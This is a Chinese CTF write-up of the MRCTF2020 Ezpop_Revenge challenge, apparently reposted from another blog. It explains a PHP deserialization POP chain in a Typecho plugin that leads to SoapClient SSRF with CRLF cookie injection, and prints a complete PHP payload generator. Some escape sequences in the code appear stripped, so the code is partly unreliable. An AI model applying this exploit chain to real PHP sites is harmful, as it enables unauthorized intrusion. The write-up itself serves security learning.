概述
题目打开是个typecho博客,www.zip泄露,下载得到源码
看到flag.php可能是一个SSRF的题
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?nonly localhost can get flag!";
?>
因为是一个反序列构造POP链的题目,所以先找反序列化点
代码比较多,简化一下,这个Plugin.php中的核心代码如下:
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function
__wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
看到action函数,很明显可以看到关键点,如果设置了$_REQUEST['admin']
,就会输出session,正好flag会存在session中
,并且发现输入点$_POST['C0incid3nc3']
进行反序列操作
在HelloWorld_DB函数中又发现了__wakeup
魔术方法
在反序列化unserialize时,会检查是否存在__wakeup方法,如果存在,则会调用__wakeup方法,预先准备对象数据。
__wakeup()
方法内实例化了Typecho_Db
类,传给构造方法的参数是$this->coincidence
数组的两个键值,跟进/var/IXR/Typecho/Db.php:
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;f
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
这个构造方法内将$adapterName
作为字符串进行了拼接,会触发__tostring
魔术方法
在/var/IXR/Typecho/Db/Query.php中有__tostring
方法
在/var/IXR/Typecho/Db/Query.php中有一个非常长的Typecho_Db_Query类,有用的代码如下:
class Typecho_Db_Query
{
private static $_default = array(
'action' => NULL,
'table'
=> NULL,
'fields' => '*',
'join'
=> array(),
'where'
=> NULL,
'limit'
=> NULL,
'offset' => NULL,
'order'
=> NULL,
'group'
=> NULL,
'having'
=> NULL,
'rows'
=> array(),
);
private $_sqlPreBuild;
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
}
假设$this->_sqlPreBuild['action']
为SELECT,在__toString()
方法内就会返回$this->_adapter->parseSelect($this->_sqlPreBuild)
,调用了$this->_adapter
的parseSelect()
方法
我们发现这个值我们也是可控的,这个时候我们控制_adapter为soap类就可以了~~
POP链逻辑:
- 反序列化
HelloWorld_DB
,就触发了__wakeup()
方法,在__wakeup()
内实例化Typecho_Db
并以$this->coincidence['hello']
作为Typecho_Db
的__construct()
方法的第一个参数; - PHP的数组是可以存对象,假设
$this->coincidence['hello']
实例化Typecho_Db_Query
对象,在Typecho_Db的构造方法中将其作为字符串,就触发了Typecho_Db_Query
的__toString()
方法; - 在
__toString()
内,如果$_sqlPreBuild['action']
为SELECT
就会触发$_adapter
的parseSelect()
方法; - 将
$_adapter
实例化为SoapClient
,调用parseSelect()
是不存在的方法,触发了SoapClient
的__call()魔术方法
-__call()
是实现SSRF的关键
public SoapClient::__call ( string $function_name , array $arguments )
POP链清楚了,exp就很好写,本题目有个坑的地方,直接生成的payload不会触发成功,要将字符串改写成十六进制,也就是将表示字符串的s写成大写S,这样private属性后面的%00这个不可见字符就能写成 0
(如果是小写s 这个 0表示一个斜线和两个0 是三个字符)构造了好几个小时怎么都不能把flag带出来
参考Y1ng师傅的脚本:
<?php
//www.gem-love.com
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
echo "www.gem-love.comn";
return $newstr;
}
$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /^^/", "rn", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);
因为想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF
。SoapClient可以设置UA,只要在UA后加上rnCookie: PHPSESSID=xxx就能为http头添加一个新的Cookie字段,这样就能带上session了
CRLF是“回车+换行”(rn)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
还有最后一个问题,这个插件现在还不知道在哪调用,不知道在哪执行就不能反序列化。在/var/Typecho/Plugin.php中有如下路由代码:
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
到/page_admin,POST提交生成的payload,就会SOAP去访问flag.php实现SSRF把flag带到session中,然后带上admin参数来输出session即可得到flag
最后
以上就是爱撒娇老鼠为你收集整理的[MRCTF2020]Ezpop_Revenge的全部内容,希望文章能够帮你解决[MRCTF2020]Ezpop_Revenge所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复